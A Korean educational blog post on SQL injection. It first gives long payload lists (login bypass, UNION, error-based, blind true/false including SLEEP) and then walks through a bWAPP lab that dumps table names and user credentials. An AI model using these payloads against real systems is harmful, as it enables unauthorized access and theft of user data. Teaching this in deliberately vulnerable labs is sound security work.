모의해킹 | Ethical Hacking

SQL INJECTION 이란? [실습] [강의] [BWAPP]

건우Sec 2024. 8. 15. 14:44

SQL INJECTION 이란?

 

SQL 언어 injection 주입하다

 

SQL 인젝션은 데이터베이스에 취약한 부분을 노려 회원에 아이디 패스워드를

알아내거나 관리자 계정을 우회할수 있는 걸 SQL INJECTION 이라고 한다.

 

이렇게 데이터베이스가 멍청하면 생기는 일이다.

 

직접 해커가 데이터베이스한테 명령을 내려

ID 는 admin 인데 비닐번호는 password 야 어디있는지 알아?

 

정상인 데이터베이스는 입구컷하지만

 

멍청한 데이터베이스는 그대로 admin 사용자를 찾아 그대로 내준다

 

SQL INEJCTION 기법들

1. 구문우회 기법

 

1. ' OR '1'='1--

2. ' OR '1'='1' --

3. ' OR '1'='1'/*

4. ' OR 1=1--

5. ' OR 1=1#

6. ' OR 1=1--

7. ' OR 1=1/*

8. ' OR 1=1/*

9. ' OR 1=1'--

10. ' OR 1=1'#

11. ' OR 1=1'/*

12. ' OR 1=1--

13. ' OR 1=1#

14. ' OR 'x'='x--

15. ' OR 'x'='x'--

16. ' OR 'x'='x'/*

17. ' OR 'x'='x'#

18. ' OR 'a'='a--

19. ' OR 'a'='a'--

20. ' OR 'a'='a'/*

21. ' OR 'a'='a'#

22. ' OR 'admin'='admin--

23. ' OR 'admin'='admin'--

24. ' OR 'admin'='admin'/*

25. ' OR 'admin'='admin'#

26. ' OR 1=1--

27. ' OR 1=1#

28. ' OR 1=1/*

29. ' OR 1=1'--

30. ' OR 1=1'# -

31. ' OR 1=1'/*

32. ' OR 1=2--

33. ' OR 1=2#

34. ' OR 1=2/*

35. ' OR '1'='1'--

36. ' OR '1'='1'/*

37. ' OR '1'='1'#

38. ' OR '1'='1'--

39. ' OR '1'='1'#

40. ' OR '1'='1'/*

41. ' OR '1'='2--

42. ' OR '1'='2'--

43. ' OR '1'='2'/*

44. ' OR '1'='2'#

45. ' OR '1'='3--

46. ' OR '1'='3'--

47. ' OR '1'='3'/*

48. ' OR '1'='3'#

49. ' OR 'a'='a'--

50. ' OR 'a'='a'/* 

 

2. UNION 기법

 

1. ' UNION SELECT null, null--
2. ' UNION SELECT 1, 2--
3. ' UNION SELECT NULL, 'admin'--
4. ' UNION SELECT table_name, NULL FROM information_schema.tables--
5. ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'--
6. ' UNION SELECT @@version, NULL--
7. ' UNION SELECT user(), NULL--
8. ' UNION SELECT database(), NULL--
9. ' UNION SELECT 'admin', NULL--
10. ' UNION SELECT username, password FROM users WHERE username='admin'--
11. ' UNION SELECT name, email FROM contacts WHERE username='admin'--

 

3. ERROR BASED 기법

 

1. ' OR 1=CONVERT(int, 'a')--
2. ' OR 1=CONVERT(int, (SELECT @@version))--
3. ' OR 1=CONVERT(int, (SELECT table_name FROM information_schema.tables LIMIT 1))--
4. ' OR 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1))--
5. ' OR 1=CONVERT(int, (SELECT user()))--
6. ' OR 1=CONVERT(int, (SELECT database()))--
7. ' OR 1=CONVERT(int, 'admin')--
8. ' OR 1=CONVERT(int, (SELECT 'admin'))--
9. ' OR 1=CONVERT(int, (SELECT @@version_comment))--
10. ' OR 1=CONVERT(int, (SELECT table_schema FROM information_schema.schemata LIMIT 1))--
11. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables))--
12. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'))--
13. ' OR 1=CONVERT(int, (SELECT ascii(substring(@@version, 1, 1))))--
14. ' OR 1=CONVERT(int, (SELECT COUNT(*) FROM information_schema.tables))--
15. ' OR 1=CONVERT(int, (SELECT MIN(user_id) FROM users))--
16. ' OR 1=CONVERT(int, (SELECT SUBSTRING(user(), 1, 1)))--
17. ' OR 1=CONVERT(int, (SELECT LENGTH(database())))--
18. ' OR 1=CONVERT(int, (SELECT version()))--
19. ' OR 1=CONVERT(int, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1))--
20. ' OR 1=CONVERT(int, (SELECT column_name FROM information_schema.columns WHERE table_name='users' AND column_name='username' LIMIT 1))--
21. ' OR 1=CONVERT(int, (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users'))--
22. ' OR 1=CONVERT(int, (SELECT CONCAT('user:', user()))--
23. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(table_schema) FROM information_schema.schemata))--
24. ' OR 1=CONVERT(int, (SELECT MAX(user_id) FROM users))--
25. ' OR 1=CONVERT(int, (SELECT MIN(user_id) FROM users WHERE username='admin'))--
26. ' OR 1=CONVERT(int, (SELECT CHAR_LENGTH(user())))--
27. ' OR 1=CONVERT(int, (SELECT LENGTH(user())))--
28. ' OR 1=CONVERT(int, (SELECT COUNT(*) FROM users WHERE username='admin'))--
29. ' OR 1=CONVERT(int, (SELECT GROUP_CONCAT(username) FROM users))--
30. ' OR 1=CONVERT(int, (SELECT ascii(substring((SELECT username FROM users WHERE username='admin'), 1, 1))))--

 

4. 블라인드 참구문 기법

 

1. ' OR 1=1--
2. ' OR 'a'='a--
3. ' OR 2>1--
4. ' OR 1=1/*
5. ' OR 'admin'='admin'--
6. ' OR 1=1'/*
7. ' OR 'a'='a'--
8. ' OR 'x'='x'--
9. ' OR EXISTS (SELECT * FROM users)--
10. ' OR LENGTH(user()) > 0--
11. ' OR 1=1--
12. ' OR 1=1/*
13. ' OR 1=2 OR 1=1--
14. ' OR (SELECT COUNT(*) FROM users) > 0--
15. ' OR (SELECT SUBSTRING(@@version, 1, 1)='5')--
16. ' OR (SELECT ASCII(SUBSTRING(@@version, 1, 1)) > 49)--
17. ' OR (SELECT IF(1=1, 1, 0))--
18. ' OR (SELECT 1 FROM dual)--
19. ' OR (SELECT IF(1=1, SLEEP(5), 0))--
20. ' OR (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END) > 0--
21. ' OR (SELECT 1 WHERE 1=1)--
22. ' OR (SELECT 1 UNION SELECT 1)--
23. ' OR (SELECT COUNT(*) FROM information_schema.tables) > 0--
24. ' OR (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) IS NOT NULL--
25. ' OR (SELECT user()) = 'admin'--

 

5. 블라인드 거짓 구문 기법

 

1. ' OR 1=2--
2. ' OR 'a'='b--
3. ' OR 2<1--
4. ' OR 1=2/*
5. ' OR 'admin'='user'--
6. ' OR 1=2'/*
7. ' OR 'a'='b'--
8. ' OR 'x'='y'--
9. ' OR NOT EXISTS (SELECT * FROM users)--
10. ' OR LENGTH(user()) < 1--
11. ' OR 1=0--
12. ' OR 1=0/*
13. ' OR 1=2 OR 1=0--
14. ' OR (SELECT COUNT(*) FROM users) = 0--
15. ' OR (SELECT SUBSTRING(@@version, 1, 1)='6')--
16. ' OR (SELECT ASCII(SUBSTRING(@@version, 1, 1)) < 49)--
17. ' OR (SELECT IF(1=0, 1, 0))--
18. ' OR (SELECT 1 FROM dual WHERE 1=0)--
19. ' OR (SELECT IF(1=0, SLEEP(5), 0))--
20. ' OR (SELECT CASE WHEN (1=0) THEN 1 ELSE 0 END) = 0--
21. ' OR (SELECT 1 WHERE 1=0)--
22. ' OR (SELECT 1 UNION SELECT 2)--
23. ' OR (SELECT COUNT(*) FROM information_schema.tables) = 0--
24. ' OR (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables) IS NULL--
25. ' OR (SELECT user()) = 'guest'--

 

BWAPP SQL Injection (GET/Search) 실습

 

 

영화 검색하는 페이지인거 같다.

우리의 목적은 모든 영화자료를 출력하는건데

 

 

해당 데이터베이스는 MySQL 를 사용하고 있다.

 

페이로드는 다음과 같이 작성

' OR 1=1# 

 

 

이런식으로 모든 영화를 출력을 했다

 

 

이제 우리의 목표는 데이터베이스를 모두 알아내

ID 와 PASSWORD 를 알아내는것이다.

 

다음과 같이 페이로드 작성

' UNION SELECT 1,2,3,4,5,6,7#

 

 

현재 데이터베이스 컬럼은 7개 라는걸 알수있다

 

이제 데이터베이스의 이름을 출력할것이다.

 

sql 인젝션 시그마 테이블을 쓸것이며 다음과 같이 페이로드를 작성.

 

' UNION SELECT all 1,table_name,3,4,5,6,7 from information_schema.tables#

 

 

 

해당 쿼리를 조작하여 모든 테이블을 추출 하였다.

 

 

맨 밑 user 이라는게 보인다.

user 테이블에서 회원에 id , password 를 추출할것이다

 

' UNION SELECT ALL 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#

 

( 이 페이로드는 users 테이블에서 어떠한 데이터베이스가 있는지 확인하는 구문이다. )

id , login , password , email 

우린 이것을 가지고 회원정보를 알아낼것이다 이제.

 

' UNION SELECT ALL 1,concat(id,login),password,email,secret,6,7 from users#

 

 

회원에 email 정보가 추출된걸 볼수있다.

 

사람이 멍청하면 비밀을 누설하는거와 같이

 

데이터베이스도 멍청하면 중요한 정보를 누설하는거랑 똑같다.

 

다음엔 버프스위트로 돌아오겠습니다